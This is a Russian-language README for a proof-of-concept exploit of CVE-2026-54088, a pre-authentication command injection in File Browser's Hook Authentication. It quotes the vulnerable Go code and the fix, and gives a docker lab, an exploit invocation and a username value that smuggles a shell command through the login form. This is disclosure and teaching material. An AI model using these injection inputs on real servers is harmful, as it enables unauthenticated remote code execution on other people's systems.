Доказательство концепции эксплуатации для CVE-2026-54088 — внедрение OS-команд до аутентификации в File Browser <=2.63.5. Демонстрирует внедрение команд через Hook Authentication для достижения удалённого выполнения кода.
Этот репозиторий содержит Proof of Concept (PoC) критической уязвимости внедрения команд ОС CVE-2026-54088, присутствующей в File Browser версии <= 2.63.5.
Уязвимость находится в функции Hook Authentication. Если администратор настроил File Browser на аутентификацию пользователей с помощью внешней команды, то переданные при входе username и password разворачиваются в заданную командную строку функцией os.Expand() без экранирования. Неаутентифицированный удалённый злоумышленник может внедрить синтаксис оболочки через запрос на вход и выполнить произвольные команды до того, как аутентификация будет завершена.
Обнаружено: saku0512 (https://github.com/Saku0512)
Этот проект предназначен исключительно для образовательных целей и этического тестирования безопасности.
Автор не несёт никакой ответственности за неправомерное использование данного инструмента, причинённый ущерб или незаконные действия. Несанкционированный доступ к компьютерным системам является незаконным. Используйте это программное обеспечение только в средах, на которые у вас есть явное разрешение.
<= 2.63.52.63.6auth/hook.goHookAuth.RunCommandHookAuth.RunCommand() разделяет настроенную команду аутентификации и с помощью данных запроса, контролируемых злоумышленником, разворачивает плейсхолдеры учётных данных.
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
Если hook-команда настроена следующим образом:
sh -c $USERNAME
И злоумышленник отправляет, например, такой username:
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
Во время попытки входа сервер выполнит управляемый злоумышленником скрипт оболочки. Для этого не требуется действительная учётная запись или пароль.
Проблема исправлена в коммите 34ae34e764d72540c039f1f5ea2ec4c974168c1f путём удаления подстановки учётных данных из строки hook-команды. Hook-команда выполняется как настроена, а учётные данные передаются только через переменные окружения.
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
Удалённый уязвимый код — это цикл os.Expand(), который перезаписывал аргументы команды учётными данными, контролируемыми злоумышленником, до вызова exec.Command(). Также добавлены регрессионные тесты, проверяющие, что внедрённые учётные данные не могут изменить hook-команду, а USERNAME/PASSWORD по-прежнему доступны hook-у через переменные окружения.
Запустите уязвимое окружение File Browser. Сервис filebrowser-init создаёт базу данных и активирует Hook Authentication с уязвимой командой.
docker compose up -d
Цель доступна по адресу:
http://localhost:8080
Выполните скрипт эксплойта из этого каталога.
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
Эксплойт отправляет один неаутентифицированный запрос на /api/login. Ожидается, что аутентификация завершится неудачей, но перед этим будет выполнена внедрённая команда.
Откройте в браузере страницу входа File Browser.
http://localhost:8080
Введите следующие значения в форму входа и нажмите кнопку входа:
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything
Вход будет неудачным, но выполнение команды Hook Authentication происходит до возврата результата аутентификации. Проверьте, что маркерный файл создан в контейнере с помощью GUI:
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned
Если файл существует, значит RCE до аутентификации произошла и через операцию входа в GUI.
Убедитесь, что команда выполнена внутри контейнера File Browser.
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
Если файл существует, RCE до аутентификации подтверждена.
docker compose down -v
Обновите File Browser до версии 2.63.6 или новее.
Учётные данные не должны встраиваться в строку команды оболочки, а должны передаваться hook-команде только через переменные окружения. Для других путей выполнения команд также следует избегать интерпретации оболочкой или применять строгое разделение аргументов и экранирование.